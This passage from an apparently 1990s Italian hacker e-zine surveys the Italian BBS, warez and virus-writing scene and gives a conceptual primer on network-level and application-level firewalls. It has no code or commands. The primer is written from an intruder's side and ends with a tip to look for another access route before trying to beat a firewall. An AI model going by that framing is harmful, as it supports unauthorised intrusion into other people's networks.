di blue box) nessun gruppo H/P italiano e' mai esistito.
Le vere BBS H/P sono poche. Una, la Pier Group's BBS era la piu' famosa, in
parte a causa di un membro MFB (in breve MF the Best, semplicemente il miglior
phreaker italiano secondo me) che era molto conosciuto. Ma poiche' Pier ( il
sysop) fu anche coinvolto in altre attivita' illegali oltre al phreaking
( hardware rubato, uso illegale di carte di credito rubate ) e questo gli ha
causato diversi problemi giudiziari, il suo BBS ha dovuto chiudere i
battenti.
Molte altre BBS sono orientate verso il commercio di programmi copiati, la
maggior parte crackati da gruppi americani come Razor1911, THG ed altri. E'
importante notare comunque che in Italia non ci sono HQ di distribuzione di
warez di gruppi italiani: quello che conta ( purtroppo ) in Italia e' fare
soldi, non essere parte di un gruppo. Molte BBS hanno una doppia faccia: da
un lato sono parte di una rete legale come FidoNet, dall'altra sono
accessibili solo dagli abbonati a cui sono offerti warez. La situazione e'
comunque cambiata da quando ci sono state le prime retate contro alcuni
gruppi che commerciavano software copiato. Questo non e' accaduto perche' la
polizia ha fatto raid sui BBS (infatti sono troppo stupidi per fare questo)
ma perche' molti sysop nella paura essere presi hanno preferito chiudere
temporaneamente le loro BBS.
Virusing
Ci sono alcuni programmatori di virus in Italia, sebbene questi non si siano
pubblicizzati molto per ovvie ragioni. Uno e' diventato famoso (il suo handle
e' Dr.Revenge) per i suoi contribuiti a Insane Reality, un giornale H/P/V
inglese che pubblico' alcuni numeri segreti del Regno Unito (UK). Inoltre, per
chi non lo sapesse, il virus Invisible Man e' stato creato da qualche oscuro
studente di informatica dell'Universita' di Fisciano (Sa). Degno di nota e'
anche la creazione nel Belpaese di un virus chiamato Como che non danneggia
il sistema, almeno secondo i suoi creatori, ma e' stato creato solo per
studiarne la velocita' di diffusione su scala mondiale.
Chi avesse intenzione di contattarmi puo farlo a:
Jester@cryogen.com
Firewall: concetti base (Parte I) ( by Ramlin )
Per Firewall si intende un sistema o un gruppo di sistemi il cui scopo
e' quello di filtrare il traffico tra due reti differenti, cioe'
implementare una politica di controllo degli accessi. I Firewall sono
ormai molto diffusi nelle grandi corporation e nei vari centri di
ricerca, soprattutto quelli di tipo governativo...dovunque ci sia
qualcosa di riservato state sicuri di trovare un firewall..:-)). E'
pratica molto comune utilizzare i Firewall come "vetrine" in cui
mettere materiale che debba essere reso pubblico (basti pensare alle
varie patch e upgrade resi disponibili dalle varie corporation): il
lato "positivo" di questa pratica e' data dal fatto che tutti i vari
ospiti del sistema rimangono fuori dalla rete interna vera e propria,
visto che il Firewall crea una sorta di compartimento a tenuta stagna
con il mondo esterno. Un Firewall puo' essere configurato diversamente
a seconda delle esigenze di sicurezza a cui deve fare capo: alcuni
Firewall lasciano passare in entrambi i sensi solo messaggi di posta
elettronica, altri, piu' sofisticati bloccano il traffico proveniente
dall'esterno ma non pongono nessuna limitazione a quello proveniente
dall'interno. Questi simpatici gingilli sono utili anche nel caso in
cui il sistema e' attaccato via modem; in questo caso il Firewall puo'
ricoprire il ruolo di investigatore, nel senso che se opportunatamete
configuato puo' implementare delle funzioni di logging (e fin qui
nulla di speciale) e soprattutto delle funzioni di tracciamento della
chiamata, cosa abbastanza improbabile nel caso di un Firewall made in
Italy ma MOLTO piu' probabile nel caso di uno made in USA, in quanto
il sistema telefonico USA permette agevolmente di sapere il numero del
chiamante (tramite la funzione CALLER ID); in Italia questo e'
possibile solo nel caso di linee ISDN e sistemi GSM (anche se non in
maniera uniforme, ma qui svicoliamo in un altro argomento..). Un altro
aspetto da tenere in considerazione riguarda il livello di sicurezza
globale della rete "target": e' inutile acquistare un Firewall
costosissimo e poi ignorare tutte le altre possibile back-doors della
rete;un Firewall dovrebbe rispecchiare il livello globale della rete.
Questa banale regola nella maggior parte dei casi fortunatamente non
viene presa in considerazione...:-9 Se poi esistono particolari
esigenze di riservatezza e sicurezza la prima regola da seguire
dovrebbe essere questa: NON collegarsi in Rete!!:) Sembra banale ma e'
l'unico modo per garantire una sicurezza prossima al 100%..se poi uno
accede alla rete fisicamente...beh..chiamate un fabbro e fate mettere
un paio di serrature in piu'..8-)) Fondamentalmente esistono due tipi
di Firewall:
* Network Level
* Application Level
Le differenze tra i due sono molto meno marcate di quanto si potrebbe
pensare, ed anche in termini di giudizio non e' possibile affermare in
senso assoluto "quel tipo e' meglio di quell'altro"..tutto dipende
dalle necessita' di sicurezza della rete.
Un Firewall di tipo Network Level prende le sue decisioni basandosi
sull'indirizzo sorgente, quello di destinazione e la porta di un
singolo pacchetto IP, per il resto si comporta come un router normale.
Generalmente i Firewall di questa categoria risultano molto veloci
trasparenti all'utente.
I Firewall di tipo Application Level invece, sono macchine in cui
viene fatto girare un Proxy server, la cui caratteristica piu'
evidente e' data dal fatto di non permettere il passaggio di dati
**direttamente** tra le due reti, ma al contrario premette a questa
operazione una serie di sofisticati controlli di tracciamento e di
logging dei pacchetti. Inizialmente questi Firewall erano abbastanza
pensantucci dal lato client, ma ora la situazione sta
cambiando. Concludendo la caratteristica piu' importante di questa
tipologia di Firewall e' la possibilita' di avere dei dettagliati
report su tutto il traffico transitato attraverso esso.
Concludo questa prima parte con una osservazione di carattere pratico
apparentemente banale;un Firewall puo' essere un ottimo aiuto ai
Sysadmin per garantire l'integrita' degli accessi alla propria rete,
ma non bisogna dimenticarsi una cosa: "lui" mette il naso e controlla
tutto quello che gli passa attraverso..ma SOLO quello..nel caso in cui
per qualche fortuito motivo dovesse esserci un'altra via di accesso,
il suo compito decade immediatamente, quindi prima di provare a fare
fesso un Firewall conviene cercare in maniera quanto piu' approfondita
possibile un'altra via di accesso.
SeE Ya!!:)
Conclusioni ( by InfectedMachine )
Giunti alla fine di questa rivista vorrei chiedere a tutti quelli che la
stanno leggendo di spendere qualche attimo per spedirci una mail con i
propri commenti, suggerimenti, consigli e critiche in modo da capire se cio'
che abbiamo fatto e' stato utile almeno a qualcuno e se vale la pena di
continuare questo lavoro.
Se avete qualche persona a cui volete dare questo testo lo potete fare
tranquillamente ( e, anzi, ne saremmo molto felici :)) ) senza pero'
alterarne il contenuto.
Per qualsiasi tipo di informazione potete scrivere a:
InfectedMachine@cryogen.com